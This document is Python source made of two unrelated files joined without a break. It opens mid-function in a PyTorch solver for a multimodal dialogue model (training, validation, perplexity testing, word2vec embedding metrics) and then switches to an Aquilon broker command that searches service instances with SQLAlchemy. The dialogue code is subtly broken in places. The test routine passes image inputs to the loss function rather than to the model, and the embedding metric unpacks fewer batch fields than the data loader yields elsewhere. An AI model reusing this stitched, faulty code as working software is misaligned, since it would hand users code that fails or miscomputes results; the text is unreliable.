                    input_images_length,
                    decode=False)

                batch_loss, n_words = masked_cross_entropy(
                    sentence_logits,
                    target_sentences,
                    target_sentence_length)

                assert not isnan(batch_loss.item())
                batch_loss_history.append(batch_loss.item())
                n_total_words += n_words.item()

                if batch_i % self.config.print_every == 0:
                    tqdm.write(
                        f'Epoch: {epoch_i+1}, iter {batch_i}: loss = {batch_loss.item()/ n_words.item():.3f}')

                # Back-propagation
                batch_loss.backward()

                # Gradient cliping
                torch.nn.utils.clip_grad_norm_(self.model.parameters(), self.config.clip)

                # Run optimizer
                self.optimizer.step()

            epoch_loss = np.sum(batch_loss_history) / n_total_words
            epoch_loss_history.append(epoch_loss)
            self.epoch_loss = epoch_loss

            print_str = f'Epoch {epoch_i+1} loss average: {epoch_loss:.3f}'
            print(print_str)

            if epoch_i % self.config.save_every_epoch == 0:
                self.save_model(epoch_i + 1)

            print('\n<Validation>...')
            self.validation_loss = self.evaluate()

            #if epoch_i % self.config.plot_every_epoch == 0:
            #        self.write_summary(epoch_i)

        self.save_model(self.config.n_epoch)

        return epoch_loss_history

    def generate_sentence(self, input_sentences, input_sentence_length,
                          input_conversation_length, target_sentences, input_images, input_images_length):
        self.model.eval()

        # [batch_size, max_seq_len, vocab_size]
        generated_sentences = self.model(
            input_sentences,
            input_sentence_length,
            input_conversation_length,
            target_sentences,
            input_images,
            input_images_length,
            decode=True)

        # write output to file
        with open(os.path.join(self.config.save_path, 'samples.txt'), 'a') as f:
            f.write(f'<Epoch {self.epoch_i}>\n\n')

            tqdm.write('\n<Samples>')
            for input_sent, target_sent, output_sent in zip(input_sentences, target_sentences, generated_sentences):
                input_sent = self.vocab.decode(input_sent)
                target_sent = self.vocab.decode(target_sent)
                output_sent = '\n'.join([self.vocab.decode(sent) for sent in output_sent])
                s = '\n'.join(['Input sentence: ' + input_sent,
                               'Ground truth: ' + target_sent,
                               'Generated response: ' + output_sent + '\n'])
                f.write(s + '\n')
                print(s)
            print('')

    def evaluate(self):
        self.model.eval()
        batch_loss_history = []
        n_total_words = 0
        for batch_i, (conversations, conversation_length, sentence_length, images, images_length) in enumerate(tqdm(self.eval_data_loader, ncols=80)):
            # conversations: (batch_size) list of conversations
            #   conversation: list of sentences
            #   sentence: list of tokens
            # conversation_length: list of int
            # sentence_length: (batch_size) list of conversation list of sentence_lengths

            input_conversations = [conv[:-1] for conv in conversations]
            target_conversations = [conv[1:] for conv in conversations]

            # flatten input and target conversations
            input_sentences = [sent for conv in input_conversations for sent in conv]
            target_sentences = [sent for conv in target_conversations for sent in conv]
            input_sentence_length = [l for len_list in sentence_length for l in len_list[:-1]]
            target_sentence_length = [l for len_list in sentence_length for l in len_list[1:]]
            input_conversation_length = [l - 1 for l in conversation_length]
            input_images = [i for item in images for i in item]
            input_images_length = [i for item in images_length for i in item]

            with torch.no_grad():
                input_sentences = to_var(torch.LongTensor(input_sentences))
                target_sentences = to_var(torch.LongTensor(target_sentences))
                input_sentence_length = to_var(torch.LongTensor(input_sentence_length))
                target_sentence_length = to_var(torch.LongTensor(target_sentence_length))
                input_conversation_length = to_var(torch.LongTensor(input_conversation_length))
                input_images = to_var(torch.stack(input_images))
                input_images_length = to_var(torch.LongTensor(input_images_length))

            if batch_i == 0:
                self.generate_sentence(input_sentences,
                                       input_sentence_length,
                                       input_conversation_length,
                                       target_sentences,
                                       input_images,
                                       input_images_length)

            sentence_logits = self.model(
                input_sentences,
                input_sentence_length,
                input_conversation_length,
                target_sentences,
                input_images,
                input_images_length
            )

            batch_loss, n_words = masked_cross_entropy(
                sentence_logits,
                target_sentences,
                target_sentence_length)

            assert not isnan(batch_loss.item())
            batch_loss_history.append(batch_loss.item())
            n_total_words += n_words.item()

        epoch_loss = np.sum(batch_loss_history) / n_total_words

        print_str = f'Validation loss: {epoch_loss:.3f}\n'
        print(print_str)

        return epoch_loss

    def test(self):
        self.model.eval()
        batch_loss_history = []
        n_total_words = 0
        for batch_i, (conversations, conversation_length, sentence_length, images, images_length) in enumerate(tqdm(self.eval_data_loader, ncols=80)):
            # conversations: (batch_size) list of conversations
            #   conversation: list of sentences
            #   sentence: list of tokens
            # conversation_length: list of int
            # sentence_length: (batch_size) list of conversation list of sentence_lengths

            input_conversations = [conv[:-1] for conv in conversations]
            target_conversations = [conv[1:] for conv in conversations]

            # flatten input and target conversations
            input_sentences = [sent for conv in input_conversations for sent in conv]
            target_sentences = [sent for conv in target_conversations for sent in conv]
            input_sentence_length = [l for len_list in sentence_length for l in len_list[:-1]]
            target_sentence_length = [l for len_list in sentence_length for l in len_list[1:]]
            input_conversation_length = [l - 1 for l in conversation_length]
            input_images = [i for item in images for i in item]
            input_images_length = [i for item in images_length for i in item]

            with torch.no_grad():
                input_sentences = to_var(torch.LongTensor(input_sentences))
                target_sentences = to_var(torch.LongTensor(target_sentences))
                input_sentence_length = to_var(torch.LongTensor(input_sentence_length))
                target_sentence_length = to_var(torch.LongTensor(target_sentence_length))
                input_conversation_length = to_var(torch.LongTensor(input_conversation_length))
                input_images = to_var(torch.stack(input_images))
                input_images_length = to_var(torch.LongTensor(input_images_length))

            sentence_logits = self.model(
                input_sentences,
                input_sentence_length,
                input_conversation_length,
                target_sentences)

            batch_loss, n_words = masked_cross_entropy(
                sentence_logits,
                target_sentences,
                target_sentence_length,
                input_images,
                input_images_length
            )

            assert not isnan(batch_loss.item())
            batch_loss_history.append(batch_loss.item())
            n_total_words += n_words.item()

        epoch_loss = np.sum(batch_loss_history) / n_total_words

        print(f'Number of words: {n_total_words}')
        print(f'Bits per word: {epoch_loss:.3f}')
        word_perplexity = np.exp(epoch_loss)

        print_str = f'Word perplexity : {word_perplexity:.3f}\n'
        print(print_str)

        return word_perplexity

    def embedding_metric(self):
        word2vec =  getattr(self, 'word2vec', None)
        if word2vec is None:
            print('Loading word2vec model')
            word2vec = gensim.models.KeyedVectors.load_word2vec_format(word2vec_path, binary=True)
            self.word2vec = word2vec
        keys = word2vec.vocab
        self.model.eval()
        n_context = self.config.n_context
        n_sample_step = self.config.n_sample_step
        metric_average_history = []
        metric_extrema_history = []
        metric_greedy_history = []
        context_history = []
        sample_history = []
        n_sent = 0
        n_conv = 0
        for batch_i, (conversations, conversation_length, sentence_length) \
                in enumerate(tqdm(self.eval_data_loader, ncols=80)):
            # conversations: (batch_size) list of conversations
            #   conversation: list of sentences
            #   sentence: list of tokens
            # conversation_length: list of int
            # sentence_length: (batch_size) list of conversation list of sentence_lengths

            conv_indices = [i for i in range(len(conversations)) if len(conversations[i]) >= n_context + n_sample_step]
            context = [c for i in conv_indices for c in [conversations[i][:n_context]]]
            ground_truth = [c for i in conv_indices for c in [conversations[i][n_context:n_context + n_sample_step]]]
            sentence_length = [c for i in conv_indices for c in [sentence_length[i][:n_context]]]

            with torch.no_grad():
                context = to_var(torch.LongTensor(context))
                sentence_length = to_var(torch.LongTensor(sentence_length))

            samples = self.model.generate(context, sentence_length, n_context)

            context = context.data.cpu().numpy().tolist()
            samples = samples.data.cpu().numpy().tolist()
            context_history.append(context)
            sample_history.append(samples)

            samples = [[self.vocab.decode(sent) for sent in c] for c in samples]
            ground_truth = [[self.vocab.decode(sent) for sent in c] for c in ground_truth]

            samples = [sent for c in samples for sent in c]
            ground_truth = [sent for c in ground_truth for sent in c]

            samples = [[word2vec[s] for s in sent.split() if s in keys] for sent in samples]
            ground_truth = [[word2vec[s] for s in sent.split() if s in keys] for sent in ground_truth]

            indices = [i for i, s, g in zip(range(len(samples)), samples, ground_truth) if s != [] and g != []]
            samples = [samples[i] for i in indices]
            ground_truth = [ground_truth[i] for i in indices]
            n = len(samples)
            n_sent += n

            metric_average = embedding_metric(samples, ground_truth, word2vec, 'average')
            metric_extrema = embedding_metric(samples, ground_truth, word2vec, 'extrema')
            metric_greedy = embedding_metric(samples, ground_truth, word2vec, 'greedy')
            metric_average_history.append(metric_average)
            metric_extrema_history.append(metric_extrema)
            metric_greedy_history.append(metric_greedy)

        epoch_average = np.mean(np.concatenate(metric_average_history), axis=0)
        epoch_extrema = np.mean(np.concatenate(metric_extrema_history), axis=0)
        epoch_greedy = np.mean(np.concatenate(metric_greedy_history), axis=0)

        print('n_sentences:', n_sent)
        print_str = f'Metrics - Average: {epoch_average:.3f}, Extrema: {epoch_extrema:.3f}, Greedy: {epoch_greedy:.3f}'
        print(print_str)
        print('\n')

        return epoch_average, epoch_extrema, epoch_greedy

    def generate_for_evaluation(self):
        self.model.eval()
        n_sample_step = self.config.n_sample_step
        n_sent = 0
        fo = open(self.config.pred_path, "w")
        for batch_i, (conversations, conversation_length, sentence_length, images, images_length) in enumerate(tqdm(self.eval_data_loader, ncols=80)):
            # conversations: (batch_size) list of conversations
            #   conversation: list of sentences
            #   sentence: list of tokens
            # conversation_length: list of int
            # sentence_length: (batch_size) list of conversation list of sentence_lengths
            assert len(conversations) == 1
            conversation = conversations[0]
            context = conversation[:-1]
            context_str = ' '.join([self.vocab.decode(sent) for sent in context])
            ground_truth = conversation[-1]
            n_context = len(context)
            sentence_length = sentence_length[0][:-1]
            input_images = [i for item in images for i in item]
            input_images_length = [i for item in images_length for i in item]

            with torch.no_grad():
                context = to_var(torch.LongTensor(context))
                context = context.unsqueeze(0)
                sentence_length = to_var(torch.LongTensor(sentence_length))
                sentence_length = sentence_length.unsqueeze(0)
                input_images = to_var(torch.stack(input_images))
                input_images_length = to_var(torch.LongTensor(input_images_length))

            samples = self.model.generate(context, sentence_length, n_context, input_images, input_images_length)

            samples = samples.data.cpu().numpy().tolist()
            sent = samples[0][0]
            sample = self.vocab.decode(sent)
            ground_truth = self.vocab.decode(ground_truth)

            n_sent += 1

            #print("ground_truth: ", ground_truth)
            #print("gen: ", samples)

            fo.write(context_str + "\t" + ground_truth + "\t" + sample + "\n")
            #print(ground_truth + "\t" + sample)
        print('n_sentences:', n_sent)
        print('\n')
        fo.close()


from sqlalchemy.orm import (joinedload, subqueryload, undefer, contains_eager,
                            aliased)
from sqlalchemy.sql import or_, and_

from aquilon.aqdb.model import (Service, ServiceInstance, ServiceInstanceServer,
                                HardwareEntity, Host, Cluster, MetaCluster)
from aquilon.worker.broker import BrokerCommand
from aquilon.worker.formats.list import StringAttributeList
from aquilon.worker.dbwrappers.host import hostname_to_host
from aquilon.worker.dbwrappers.location import get_location

class CommandSearchService(BrokerCommand):

    def render(self, session, service, instance,
               server_hostname, server_cluster, server_metacluster,
               server_exact_location,
               client_hostname, client_cluster, client_metacluster,
               has_clients, client_exact_location,
               fullinfo, style, **arguments):
        q = session.query(ServiceInstance)
        if instance:
            q = q.filter_by(name=instance)

        if service:
            dbservice = Service.get_unique(session, service, compel=True)
            q = q.filter_by(service=dbservice)

        # We need the explicit join for ordering
        q = q.join(Service)
        q = q.options(contains_eager('service'))
        q = q.reset_joinpoint()

        dbserver_loc = get_location(
            session, locfunc=lambda x: 'server_{}'.format(x), **arguments)
        dbclient_loc = get_location(
            session, locfunc=lambda x: 'client_{}'.format(x), **arguments)

        if server_hostname or server_cluster or server_metacluster:
            q = q.join(ServiceInstance.servers, aliased=True)

            if server_hostname:
                dbhost = hostname_to_host(session, server_hostname)
                q = q.filter_by(host=dbhost)

            if server_cluster:
                dbcluster = Cluster.get_unique(session, server_cluster,
                                               compel=True)
                q = q.filter_by(cluster=dbcluster)

            if server_metacluster:
                dbmeta = MetaCluster.get_unique(session, server_metacluster,
                                                compel=True)
                q = q.filter_by(cluster=dbmeta)

            q = q.reset_joinpoint()

        if dbserver_loc:
            SISAlias = aliased(ServiceInstanceServer)
            ClAlias = aliased(Cluster)
            HostAlias = aliased(Host)
            HwAlias = aliased(HardwareEntity)
            HostHw = session.query(HostAlias.hardware_entity_id,
                                   HwAlias.location_id).join(HwAlias).subquery()

            q = q.join(SISAlias)
            q = q.outerjoin(ClAlias,
                            ClAlias.id == SISAlias.cluster_id)
            q = q.outerjoin((HostHw,
                             HostHw.c.hardware_entity_id == SISAlias.host_id))

            if server_exact_location:
                q = q.filter(or_(ClAlias.location_constraint == dbserver_loc,
                                 HostHw.c.location_id == dbserver_loc.id))
            else:
                childids = dbserver_loc.offspring_ids()
                q = q.filter(or_(ClAlias.location_constraint_id.in_(childids),
                                 HostHw.c.location_id.in_(childids)))

            q = q.reset_joinpoint()

        if client_hostname:
            dbhost = hostname_to_host(session, client_hostname)
            q = q.filter(ServiceInstance.clients.contains(dbhost))

        if client_cluster:
            dbcluster = Cluster.get_unique(session, client_cluster, compel=True)
            q = q.filter(ServiceInstance.cluster_clients.contains(dbcluster))

        if client_metacluster:
            dbmeta = MetaCluster.get_unique(session, client_metacluster,
                                            compel=True)
            q = q.filter(ServiceInstance.cluster_clients.contains(dbmeta))

        if dbclient_loc:
            ClAlias = aliased(Cluster)
            HostAlias = aliased(Host)
            HwAlias = aliased(HardwareEntity)
            HostHw = session.query(HostAlias.hardware_entity_id,
                                   HwAlias.location_id).join(HwAlias).subquery()

            # TODO: outerjoin is expensive here
            q = q.outerjoin(HostHw, ServiceInstance.clients)
            q = q.outerjoin(ClAlias, ServiceInstance.cluster_clients)

            if client_exact_location:
                q = q.filter(or_(ClAlias.location_constraint == dbclient_loc,
                                 HostHw.c.location_id == dbclient_loc.id))
            else:
                childids = dbclient_loc.offspring_ids()
                q = q.filter(or_(ClAlias.location_constraint_id.in_(childids),
                                 HostHw.c.location_id.in_(childids)))

            q = q.reset_joinpoint()

        if has_clients is True:
            q = q.filter(or_(ServiceInstance.clients.any(),
                             ServiceInstance.cluster_clients.any()))
        elif has_clients is False:
            q = q.filter(and_(~ServiceInstance.clients.any(),
                              ~ServiceInstance.cluster_clients.any()))

        q = q.order_by(Service.name, ServiceInstance.name)

        if fullinfo or style != 'raw':
            q = q.options(undefer('_client_count'),
                          subqueryload('servers'),
                          joinedload('servers.host'),
                          joinedload('servers.host.hardware_entity'),
                          subqueryload('service_map'),
                          joinedload('service_map.location'),
                          joinedload('service_map.network'),
                          joinedload('service_map.personality'))
            return q.all()
        else:
            return StringAttributeList(q.all(), "qualified_name")